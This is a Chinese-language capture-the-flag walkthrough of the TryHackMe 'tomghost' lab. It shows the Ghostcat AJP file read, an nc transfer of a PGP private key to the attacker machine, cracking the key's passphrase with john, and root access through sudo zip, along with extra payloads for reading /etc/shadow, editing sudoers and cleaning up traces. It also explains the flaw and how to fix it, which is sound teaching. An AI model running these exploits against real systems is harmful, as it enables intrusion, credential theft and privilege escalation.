## 概述
來源: tryhackme
題目: tomghost
難度: Easy
網址: https://tryhackme.com/room/tomghost
靶機 `10.10.5.203`
### 學習目標
- ajp port:8009
- cve-2020-1938 漏洞
- msfconsole 利用漏洞取得資料
- ssh 登入
- PGP 私鑰利用
- gpg2john 解密
- `/usr/bin/zip` 提權
## 基本掃描
### nmap
```!=
nmap -sV -sC -v 10.10.5.203
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 f3:c8:9f:0b:6a:c5:fe:95:54:0b:e9:e3:ba:93:db:7c (RSA)
| 256 dd:1a:09:f5:99:63:a3:43:0d:2d:90:d8:e3:e1:1f:b9 (ECDSA)
|_ 256 48:d1:30:1b:38:6c:c6:53:ea:30:81:80:5d:0c:f1:05 (ED25519)
53/tcp open tcpwrapped
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
| ajp-methods:
|_ Supported methods: GET HEAD POST OPTIONS
8080/tcp open http Apache Tomcat 9.0.30
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-favicon: Apache Tomcat
|_http-title: Apache Tomcat/9.0.30
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```
### gobuster
```!=
└─$ gobuster dir -u http://10.10.5.203:8080 -w /usr/share/seclists/Discovery/Web-Content/common.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.5.203:8080
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/docs (Status: 302) [Size: 0] [--> /docs/]
/examples (Status: 302) [Size: 0] [--> /examples/]
/favicon.ico (Status: 200) [Size: 21630]
/host-manager (Status: 302) [Size: 0] [--> /host-manager/]
/manager (Status: 302) [Size: 0] [--> /manager/]
Progress: 4746 / 4747 (99.98%)
===============================================================
Finished
===============================================================
```
## 取得 shell
### ajp
8080 一直找不到破口
後來問了 AI 才發現 ajp 有問題
```!=
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
```
> 風險提示
> AJP 端口如果 對外開放,可能被利用:
> Ghostcat 漏洞(CVE-2020-1938):允許未授權讀取/寫入 Tomcat 檔案。
> 8009/AJP 通常應只允許 內部網路訪問,不應對外開放。
### cve-2020-1938
於是查了一下發現真有此漏洞 [cve-2020-1938](https://access.redhat.com/security/cve/cve-2020-1938)
嘗試了幾個 POC 都沒辦成功 QQ
#### POC 1
google 找到的 POC
https://github.com/00theway/Ghostcat-CNVD-2020-10487/blob/master/ajpShooter.py
```!=
┌──(kali㉿kali)-[~/tryhackme/tomghost]
└─$ wget https://github.com/00theway/Ghostcat-CNVD-2020-10487/blob/master/ajpShooter.py
--2025-10-23 14:44:26-- https://github.com/00theway/Ghostcat-CNVD-2020-10487/blob/master/ajpShooter.py
Resolving github.com (github.com)... 20.27.177.113
Connecting to github.com (github.com)|20.27.177.113|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: ‘ajpShooter.py’
ajpShooter.py [ <=> ] 222.11K 886KB/s in 0.3s
2025-10-23 14:44:27 (886 KB/s) - ‘ajpShooter.py’ saved [227443]
┌──(kali㉿kali)-[~/tryhackme/tomghost]
└─$ ls
ajpShooter.py memo
┌──(kali㉿kali)-[~/tryhackme/tomghost]
└─$ python3 ajpShooter.py -h
File "/home/kali/tryhackme/tomghost/ajpShooter.py", line 123
<title>Ghostcat-CNVD-2020-10487/ajpShooter.py at master · 00theway/Ghostcat-CNVD-2020-10487 · GitHub</title>
^
SyntaxError: invalid character '·' (U+00B7)
```
不知道哪裡做錯還請大神指教
> 後來發現糗了
> **POC 1 下載方式錯誤**
> ```bash
> wget https://github.com/00theway/Ghostcat-CNVD-2020-10487/blob/master/ajpShooter.py
> ```
> 這個指令會下載 GitHub 的 HTML 頁面,不是原始 Python 檔案。應該改用:
> ```bash
> wget https://raw.githubusercontent.com/00theway/Ghostcat-CNVD-2020-10487/master/ajpShooter.py
> ```
> 確認後的確原本下載的是 html >///<
後續測試成功 read `/WEB-INF/web.xml`
```!=
└─$ python3 ajpShooter.py.1 http://10.10.183.181 8009 /WEB-INF/web.xml read
/home/kali/tryhackme/tomghost/ajpShooter.py.1:363: SyntaxWarning: invalid escape sequence '\ '
/_\ (_)_ __ / _\ |__ ___ ___ | |_ ___ _ __
_ _ __ _ _
/_\ (_)_ __ / _\ |__ ___ ___ | |_ ___ _ __
//_\\ | | '_ \ \ \| '_ \ / _ \ / _ \| __/ _ \ '__|
/ _ \| | |_) | _\ \ | | | (_) | (_) | || __/ |
\_/ \_// | .__/ \__/_| |_|\___/ \___/ \__\___|_|
|__/|_|
00theway,just for test
[<] 200 200
[<] Accept-Ranges: bytes
[<] ETag: W/"1261-1583902632000"
[<] Last-Modified: Wed, 11 Mar 2020 04:57:12 GMT
[<] Content-Type: application/xml
[<] Content-Length: 1261
<?xml version="1.0" encoding="UTF-8"?>
<!--
Licensed to the Apache Software Foundation (ASF) under one or more
contributor license agreements. See the NOTICE file distributed with
this work for additional information regarding copyright ownership.
The ASF licenses this file to You under the Apache License, Version 2.0
(the "License"); you may not use this file except in compliance with
the License. You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
-->
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee
http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0"
metadata-complete="true">
<display-name>Welcome to Tomcat</display-name>
<description>
Welcome to GhostCat
skyfuck:8730281lkjlkjdqlksalks
</description>
</web-app>
```
> 靶機IP換了因為重啟過靶機
#### POC 2
直接用 searchsploit 給的 poc
```!=
┌──(kali㉿kali)-[~/tryhackme/tomghost]
└─$ searchsploit ajp
------------------------------------------ ---------------------------------
Exploit Title | Path
------------------------------------------ ---------------------------------
AjPortal2Php - 'PagePrefix' Remote File I | php/webapps/3752.txt
Apache Tomcat - AJP 'Ghostcat File Read/I | multiple/webapps/48143.py
Apache Tomcat - AJP 'Ghostcat' File Read/ | multiple/webapps/49039.rb
------------------------------------------ ---------------------------------
Shellcodes: No Results
┌──(kali㉿kali)-[~/tryhackme/tomghost]
└─$ searchsploit -x multiple/webapps/48143.py
Exploit: Apache Tomcat - AJP 'Ghostcat File Read/Inclusion
URL: https://www.exploit-db.com/exploits/48143
Path: /usr/share/exploitdb/exploits/multiple/webapps/48143.py
Codes: CVE-2020-1938
Verified: False
File Type: Python script, ASCII text executable
┌──(kali㉿kali)-[~/tryhackme/tomghost]
└─$ searchsploit -m multiple/webapps/48143.py
Exploit: Apache Tomcat - AJP 'Ghostcat File Read/Inclusion
URL: https://www.exploit-db.com/exploits/48143
Path: /usr/share/exploitdb/exploits/multiple/webapps/48143.py
Codes: CVE-2020-1938
Verified: False
File Type: Python script, ASCII text executable
Copied to: /home/kali/tryhackme/tomghost/48143.py
┌──(kali㉿kali)-[~/tryhackme/tomghost]
└─$ ls
48143.py ajpShooter.py memo
```
使用時報錯 QQ
```!=
┌──(kali㉿kali)-[~/tryhackme/tomghost]
└─$ python3 48143.py -h
usage: 48143.py [-h] [-p PORT] [-f FILE] target
positional arguments:
target Hostname or IP to attack
options:
-h, --help show this help message and exit
-p, --port PORT AJP port to attack (default is 8009)
-f, --file FILE file path :(WEB-INF/web.xml)
└─$ python3 48143.py -p 8009 -f WEB-INF/web.xml 10.10.5.203
Getting resource at ajp13://10.10.5.203:8009/asdf
----------------------------
Traceback (most recent call last):
File "/home/kali/tryhackme/tomghost/48143.py", line 302, in <module>
print("".join([d.data for d in data]))
~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^
TypeError: sequence item 0: expected str instance, bytes found
```
> 其實原本錯誤是
> ```!=
> Traceback (most recent call last):
> File "/home/kali/tryhackme/tomghost/48143.py", line 295, in <module>
> t = Tomcat(args.target, args.port)
> File "/home/kali/tryhackme/tomghost/48143.py", line 262, in __init__
> self.stream = self.socket.makefile("rb", bufsize=0)
> ```
> 後來把 `48143.py` 改成這樣
> ```!=
> self.stream = self.socket.makefile("rb")
> ```
> 結果還是報錯QQ 果斷放棄
#### msfconsole
最後直接用 msfconsole
```!=
└─$ msfconsole
msf6 > search exploit ajp
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/admin/http/tomcat_ghostcat 2020-02-20 normal Yes Apache Tomcat AJP File Read
1 exploit/linux/http/f5_bigip_tmui_rce_cve_2023_46747 2023-10-26 excellent Yes F5 BIG-IP TMUI AJP Smuggling RCE
2 exploit/linux/http/netgear_unauth_exec 2016-02-25 excellent Yes Netgear Devices Unauthenticated Remote Command Execution
Interact with a module by name or index. For example info 2, use 2 or use exploit/linux/http/netgear_unauth_exec
msf6 > use 0
msf6 auxiliary(admin/http/tomcat_ghostcat) > show options
Module options (auxiliary/admin/http/tomcat_ghostcat):
Name Current Setting Required Description
---- --------------- -------- -----------
FILENAME /WEB-INF/web.xml yes File name
RHOSTS yes The target host(s), see https://d
ocs.metasploit.com/docs/using-met
asploit/basics/using-metasploit.h
tml
RPORT 8009 yes The Apache JServ Protocol (AJP) p
ort (TCP)
View the full module info with the info, or info -d command.
msf6 auxiliary(admin/http/tomcat_ghostcat) > set RHOSTS 10.10.5.203
RHOSTS => 10.10.5.203
msf6 auxiliary(admin/http/tomcat_ghostcat) > set RPORT 8009
RPORT => 8009
msf6 auxiliary(admin/http/tomcat_ghostcat) > set FILENAME /WEB-INF/web.xml
FILENAME => /WEB-INF/web.xml
msf6 auxiliary(admin/http/tomcat_ghostcat) > exploit
[*] Running module against 10.10.5.203
<?xml version="1.0" encoding="UTF-8"?>
<!--
Licensed to the Apache Software Foundation (ASF) under one or more
contributor license agreements. See the NOTICE file distributed with
this work for additional information regarding copyright ownership.
The ASF licenses this file to You under the Apache License, Version 2.0
(the "License"); you may not use this file except in compliance with
the License. You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
-->
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee
http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0"
metadata-complete="true">
<display-name>Welcome to Tomcat</display-name>
<description>
Welcome to GhostCat
skyfuck:8730281lkjlkjdqlksalks
</description>
</web-app>
[+] 10.10.5.203:8009 - File contents save to: /home/kali/.msf4/loot/20251023145725_default_10.10.5.203_WEBINFweb.xml_005265.txt
[*] Auxiliary module execution completed
```
### ssh
發現疑似帳號密碼的東西
想說登登看 ssh 沒想到還真的進了
```!=
└─$ ssh skyfuck@10.10.240.145
The authenticity of host '10.10.240.145 (10.10.240.145)' can't be established.
ED25519 key fingerprint is SHA256:tWlLnZPnvRHCM9xwpxygZKxaf0vJ8/J64v9ApP8dCDo.
This host key is known by the following other names/addresses:
~/.ssh/known_hosts:22: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.240.145' (ED25519) to the list of known hosts.
skyfuck@10.10.240.145's password:
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.4.0-174-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
skyfuck@ubuntu:~$ id
uid=1002(skyfuck) gid=1002(skyfuck) groups=1002(skyfuck)
```
> 這裡靶機IP變了 是因為沒截到圖QQ
> 後續重開靶機再做一次
### user.txt
```!=
skyfuck@ubuntu:~$ ls
credential.pgp tryhackme.asc
skyfuck@ubuntu:~$ cd /home
skyfuck@ubuntu:/home$ ls
merlin skyfuck
skyfuck@ubuntu:/home$ cd merlin/
skyfuck@ubuntu:/home/merlin$ ls
user.txt
skyfuck@ubuntu:/home/merlin$ cat user.txt
THM{Gh...sy}
```
## 提權
掃 sudo 清單 沒料
```!=
skyfuck@ubuntu:~$ sudo -l
[sudo] password for skyfuck:
Sorry, user skyfuck may not run sudo on ubuntu.
```
再掃 SUID 權限清單
```!=
skyfuck@ubuntu:~$ find / -perm -u=s -type f 2>/dev/null -ls
260343 44 -rwsr-xr-- 1 root messagebus 42992 Nov 29 2019 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
262319 420 -rwsr-xr-x 1 root root 428240 Mar 4 2019 /usr/lib/openssh/ssh-keysign
260702 12 -rwsr-xr-x 1 root root 10232 Mar 27 2017 /usr/lib/eject/dmcrypt-get-device
281830 12 -rwsr-xr-x 1 root root 10624 May 8 2018 /usr/bin/vmware-user-suid-wrapper
262094 136 -rwsr-xr-x 1 root root 136808 Jan 31 2020 /usr/bin/sudo
260661 56 -rwsr-xr-x 1 root root 54256 Mar 26 2019 /usr/bin/passwd
260790 76 -rwsr-xr-x 1 root root 75304 Mar 26 2019 /usr/bin/gpasswd
262694 40 -rwsr-xr-x 1 root root 40432 Mar 26 2019 /usr/bin/chsh
260657 72 -rwsr-xr-x 1 root root 71824 Mar 26 2019 /usr/bin/chfn
260258 40 -rwsr-xr-x 1 root root 39904 Mar 26 2019 /usr/bin/newgrp
260242 40 -rwsr-xr-x 1 root root 40152 Jan 27 2020 /bin/mount
260171 44 -rwsr-xr-x 1 root root 44168 May 7 2014 /bin/ping
260252 28 -rwsr-xr-x 1 root root 27608 Jan 27 2020 /bin/umount
277288 32 -rwsr-xr-x 1 root root 30800 Jul 12 2016 /bin/fusermount
260293 40 -rwsr-xr-x 1 root root 40128 Mar 26 2019 /bin/su
260172 44 -rwsr-xr-x 1 root root 44680 May 7 2014 /bin/ping6
```
看了一下 sudo 版本
嘗試利用 CVE-2019-14287
結果失敗了
```!=
skyfuck@ubuntu:~$ sudo --version
Sudo version 1.8.16
Sudoers policy plugin version 1.8.16
Sudoers file grammar version 45
Sudoers I/O plugin version 1.8.16
skyfuck@ubuntu:~$ sudo -u#-1
sudo: unknown user: #-1
sudo: unable to initialize policy plugin
skyfuck@ubuntu:~$ sudo -u#4294967295
sudo: unknown user: #4294967295
sudo: unable to initialize policy plugin
```
於是先看看有時麼其他檔案
```!=
skyfuck@ubuntu:~$ ls
credential.pgp tryhackme.asc
skyfuck@ubuntu:~$ cat tryhackme.asc
-----BEGIN PGP PRIVATE KEY BLOCK-----
Version: BCPG v1.63
lQUBBF5ocmIRDADTwu9RL5uol6+jCnuoK58+PEtPh0Zfdj4+q8z61PL56tz6YxmF
3TxA9u2jV73qFdMr5EwktTXRlEo0LTGeMzZ9R/uqe+BeBUNCZW6tqI7wDw/U1DEf
...
AKlCbtMLnrDy3kl9+8YjJmyV9pJ2ycv4w+IPYgEAs0g4rLw7W41INOdxFK+iKNbW
kG6wLdznOpe4zaLA/vM=
=dMrv
-----END PGP PRIVATE KEY BLOCK-----
skyfuck@ubuntu:~$ cat credential.pgp
�a��a�����g▒�ty�S���0��d�_0���QsJ�D+�f���!▒
�I0H:,�o�N������'u�FP:0a�SŠ�u=�:ОЮ�5J:EM,��ҏ�Ѣ
```
其實當下我不知道這是啥
先看看再說
後來問了 AI 才知道原來 `tryhackme.asc` 是 PGP 私鑰
> PGP 私鑰檔通常以「-----BEGIN PGP PRIVATE KEY BLOCK-----」開頭,並以「-----END PGP PRIVATE KEY BLOCK-----」結尾,這是標準的 ASCII armored 格式,明確表示這是一個私鑰區塊。
> 1. 尋找對應的加密檔案
> ```bash
> # 在當前目錄和 home 目錄尋找 .gpg 或 .pgp 檔案
> ls -la
> ls -la ~
> find ~ -name "*.gpg" 2>/dev/null
> find ~ -name "*.asc" 2>/dev/null
> find ~ -name "*.pgp" 2>/dev/null
> ```
> 2. 如果找到加密檔案(例如 credential.pgp)
>
> **先嘗試直接導入和解密:**
> ```bash
> # 導入私鑰
> gpg --import tryhackme.asc
>
> # 解密檔案
> gpg --decrypt credential.pgp
> ```
?!這不就剛好有個 `credential.pgp` 在旁邊嗎
馬上來試試
### gpg 解密
```!=
skyfuck@ubuntu:~$ gpg --import tryhackme.asc
gpg: directory `/home/skyfuck/.gnupg' created
gpg: new configuration file `/home/skyfuck/.gnupg/gpg.conf' created
gpg: WARNING: options in `/home/skyfuck/.gnupg/gpg.conf' are not yet active during this run
gpg: keyring `/home/skyfuck/.gnupg/secring.gpg' created
gpg: keyring `/home/skyfuck/.gnupg/pubring.gpg' created
gpg: key C6707170: secret key imported
gpg: /home/skyfuck/.gnupg/trustdb.gpg: trustdb created
gpg: key C6707170: public key "tryhackme <stuxnet@tryhackme.com>" imported
gpg: key C6707170: "tryhackme <stuxnet@tryhackme.com>" not changed
gpg: Total number processed: 2
gpg: imported: 1
gpg: unchanged: 1
gpg: secret keys read: 1
gpg: secret keys imported: 1
skyfuck@ubuntu:~$ gpg --decrypt credential.pgp
You need a passphrase to unlock the secret key for
user: "tryhackme <stuxnet@tryhackme.com>"
1024-bit ELG-E key, ID 6184FBCC, created 2020-03-11 (main key ID C6707170)
gpg: gpg-agent is not available in this session
gpg: Invalid passphrase; please try again ...
```
結果卡關了,發現還需要一組密碼
> 後來才知道 PGP 私鑰通常有 passphrase 保護,即使匯入了私鑰,解密時仍需提供正確的 passphrase
所以把 `tryhackme.asc` 拿來本機解密
這邊本機先開 nc
```!=
└─$ nc -nvlp 1234 > tryhackme.asc
listening on [any] 1234 ...
connect to [10.4.11.38] from (UNKNOWN) [10.10.5.203] 49886
```
再透過靶機把檔案傳過來
```!=
skyfuck@ubuntu:~$ cat tryhackme.asc | nc 10.4.11.38 1234
```
### gpg2john 解密
先轉成 john 格式
之後用 john 解密成功
```!=
└─$ gpg2john tryhackme.asc > tryhackme
File tryhackme.asc
┌──(kali㉿kali)-[~/tryhackme/tomghost]
└─$ ls
48143.py ajpShooter.py memo tryhackme tryhackme.asc
┌──(kali㉿kali)-[~/tryhackme/tomghost]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt tryhackme
Using default input encoding: UTF-8
Loaded 1 password hash (gpg, OpenPGP / GnuPG Secret Key [32/64])
Cost 1 (s2k-count) is 65536 for all loaded hashes
Cost 2 (hash algorithm [1:MD5 2:SHA1 3:RIPEMD160 8:SHA256 9:SHA384 10:SHA512 11:SHA224]) is 2 for all loaded hashes
Cost 3 (cipher algorithm [1:IDEA 2:3DES 3:CAST5 4:Blowfish 7:AES128 8:AES192 9:AES256 10:Twofish 11:Camellia128 12:Camellia192 13:Camellia256]) is 9 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
alexandru (tryhackme)
1g 0:00:00:00 DONE (2025-10-23 15:17) 50.00g/s 57600p/s 57600c/s 57600C/s kucing..summer1
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```
> AI 建議檔名命名為 `tryhackme.hash`
> 這樣更清楚是 hash 檔案,避免跟原始的 .asc 檔混淆。
> ```!=
> └─$ gpg2john tryhackme.asc > tryhackme.hash
> ```
回來再解碼一次 `credential.pgp`
輸入密碼成功破解
又取得了一組密碼
```!=
skyfuck@ubuntu:~$ gpg --decrypt credential.pgp
You need a passphrase to unlock the secret key for
user: "tryhackme <stuxnet@tryhackme.com>"
1024-bit ELG-E key, ID 6184FBCC, created 2020-03-11 (main key ID C6707170)
gpg: gpg-agent is not available in this session
gpg: WARNING: cipher algorithm CAST5 not found in recipient preferences
gpg: encrypted with 1024-bit ELG-E key, ID 6184FBCC, created 2020-03-11
"tryhackme <stuxnet@tryhackme.com>"
merlin:asuyusdoiuqoilkda312j31k2j123j1g23g12k3g12kj3gk12jg3k12j3kj123j
```
我也猜這是 ssh
```!=
┌──(kali㉿kali)-[~]
└─$ ssh merlin@10.10.5.23
```
不知為何卡死
> 後來才知道又犯蠢 IP打錯了 應該是 `10.10.5.203`
> 難怪卡死
後來想到可以試試 su
竟然成功登入了
```!=
skyfuck@ubuntu:~$ su merlin
Password:
merlin@ubuntu:/home/skyfuck$ id
uid=1000(merlin) gid=1000(merlin) groups=1000(merlin),4(adm),24(cdrom),30(dip),46(plugdev),114(lpadmin),115(sambashare)
```
### sudo -l 第二次
想說換了使用者再掃看看 sudo
竟然有了
```!=
merlin@ubuntu:~$ sudo -l
Matching Defaults entries for merlin on ubuntu:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User merlin may run the following commands on ubuntu:
(root : root) NOPASSWD: /usr/bin/zip
```
查了一下 `/usr/bin/zip` 提權 [參考大神](https://blog.csdn.net/qq_42084004/article/details/102609319)
```!=
merlin@ubuntu:~$ sudo zip foo /etc/hosts -T -TT 'bash #'
updating: etc/hosts (deflated 31%)
root@ubuntu:~# id
uid=0(root) gid=0(root) groups=0(root)
```
### root.txt
```!=
root@ubuntu:~# cat /root/root.txt
THM{Z1...KE}
```
## 補充
### CVE-2020-1938 漏洞原理
#### 什麼是 AJP 協議?
AJP (Apache JServ Protocol) 是一個二進制協議,用於 Web 伺服器(如 Apache)與應用伺服器(如 Tomcat)之間的通訊。
- 預設監聽在 **8009 端口**
- 設計目的是內部網路使用,**不應對外開放**
- 比 HTTP 協議更高效,常用於負載均衡
#### Ghostcat 漏洞成因
1. **檔案讀取漏洞**:
- Tomcat AJP Connector 預設配置存在缺陷
- 攻擊者可以透過 AJP 協議發送特製請求
- 能夠讀取 webapp 目錄下的任意檔案,包括 WEB-INF 目錄
2. **關鍵問題**:
```
WEB-INF/web.xml - 包含應用配置、資料庫連線資訊、帳號密碼
WEB-INF/classes/ - Java class 檔案
*.jsp - 原始碼檔案
```
3. **攻擊流程**:
```
攻擊者 → AJP:8009 → 發送惡意請求 → 讀取敏感檔案 → 獲取憑證
```
#### 影響版本
- Apache Tomcat 9.0.0.M1 到 9.0.0.30
- Apache Tomcat 8.5.0 到 8.5.50
- Apache Tomcat 7.0.0 到 7.0.99
- Apache Tomcat 6.x (已停止維護)
#### 修復方法
1. 升級 Tomcat 到安全版本
2. 限制 AJP 端口僅內部訪問
3. 在 server.xml 中設置:
```xml
<Connector port="8009" protocol="AJP/1.3"
address="127.0.0.1"
secretRequired="true"
secret="your_secret_here" />
```
#### 本題利用
在這題中,我們透過讀取 `/WEB-INF/web.xml` 檔案,成功獲取了:
```xml
<description>
Welcome to GhostCat
skyfuck:8730281lkjlkjdqlksalks
</description>
```
這組憑證讓我們得以 SSH 登入系統。
### /usr/bin/zip 提權原理
#### 為什麼 zip 可以提權?
當使用者可以以 root 身份執行 `/usr/bin/zip` 時,可以利用其 `-T` 和 `-TT` 參數來執行任意命令。
#### 參數說明
```bash
-T, --test 測試壓縮檔的完整性
-TT cmd 在測試完成後執行指定的命令 cmd
```
#### 提權過程分析
```bash
sudo zip foo /etc/hosts -T -TT 'bash #'
```
**執行步驟拆解:**
1. `sudo zip foo /etc/hosts`
- 以 root 權限執行 zip
- 建立名為 foo.zip 的壓縮檔
- 壓縮 /etc/hosts 檔案
2. `-T`
- 啟用測試模式
- zip 會檢查壓縮檔完整性
3. `-TT 'bash #'`
- 測試完成後執行 `bash #` 命令
- `#` 符號會註解掉後面的內容,避免報錯
- 因為是用 sudo 執行,bash 會以 **root 身份啟動**
#### 關鍵點
- zip 在執行 `-TT` 指定的命令時,**繼承了 sudo 的權限**
- 新啟動的 bash shell 擁有 root 權限
- 這是一個典型的 **指令注入** (Command Injection) 提權方式
#### 其他可利用的方式
```bash
# 方法 1: 直接獲取 root shell
sudo zip foo /etc/hosts -T -TT 'sh #'
# 方法 2: 讀取敏感檔案
sudo zip foo /etc/hosts -T -TT 'cat /etc/shadow #'
# 方法 3: 新增 sudo 使用者
sudo zip foo /etc/hosts -T -TT 'echo "user ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers #'
```
#### 防禦建議
1. **最小權限原則**: 不要給使用者不必要的 sudo 權限
2. **限制參數**: 如果必須給予 zip 權限,應限制可用參數:
```
user ALL=(ALL) NOPASSWD: /usr/bin/zip -r *
```
3. **使用白名單**: 只允許特定的壓縮操作
4. **定期審查**: 檢查 `/etc/sudoers` 設定
#### GTFOBins
這類可以用於提權的二進制檔案,可以在 [GTFOBins](https://gtfobins.github.io/) 網站查詢:
- GTFOBins 收錄了大量可用於繞過安全限制的 Unix 二進制檔案
- 包括: zip, tar, vim, find, python 等
- 每個都有詳細的利用方式說明
#### 延伸閱讀
類似的可提權工具還有:
- `/usr/bin/tar` - 可使用 checkpoint 參數執行命令
- `/usr/bin/git` - 可透過 pager 參數執行命令
- `/usr/bin/vim` - 可在 vim 中執行 shell 命令
- `/usr/bin/find` - 可使用 -exec 參數執行命令
#### 補充: GTFOBins 的標準寫法
GTFOBins 網站推薦使用更嚴謹的寫法:
```!=
TF=$(mktemp -u) # 產生唯一臨時檔名
sudo zip $TF /etc/hosts -T -TT 'sh #'
sudo rm $TF # 清理痕跡
```
**與簡化版的差異:**
- ✅ 使用 `mktemp -u` 產生唯一檔名,避免檔名衝突
- ✅ 檔案建立在 `/tmp`,不依賴當前目錄權限
- ✅ 最後清理檔案,不留痕跡
- ✅ 使用 `sh` 而非 `bash`,相容性更好
- ✅ 可重複執行,適合腳本化
**本次練習中使用簡化版的原因:**
在學習環境中,簡化版 `sudo zip foo /etc/hosts -T -TT 'bash #'` 更直觀易懂,
但在實戰或 CTF 比賽中,建議使用 GTFOBins 的標準寫法。
```!=
# 方法 1: GTFOBins 標準寫法 (推薦)
merlin@ubuntu:~$ TF=$(mktemp -u)
merlin@ubuntu:~$ echo $TF
/tmp/tmp.7xK2pQm3vR
merlin@ubuntu:~$ sudo zip $TF /etc/hosts -T -TT 'sh #'
updating: etc/hosts (deflated 31%)
# id
uid=0(root) gid=0(root) groups=0(root)
# exit
merlin@ubuntu:~$ sudo rm $TF
merlin@ubuntu:~$ ls $TF
ls: cannot access /tmp/tmp.7xK2pQm3vR: No such file or directory
# 方法 2: 簡化寫法 (你用的)
merlin@ubuntu:~$ sudo zip foo /etc/hosts -T -TT 'bash #'
updating: etc/hosts (deflated 31%)
root@ubuntu:~# exit
merlin@ubuntu:~$ ls -la foo.zip
-rw-r--r-- 1 root root 233 Oct 23 16:30 foo.zip # 檔案還在!
```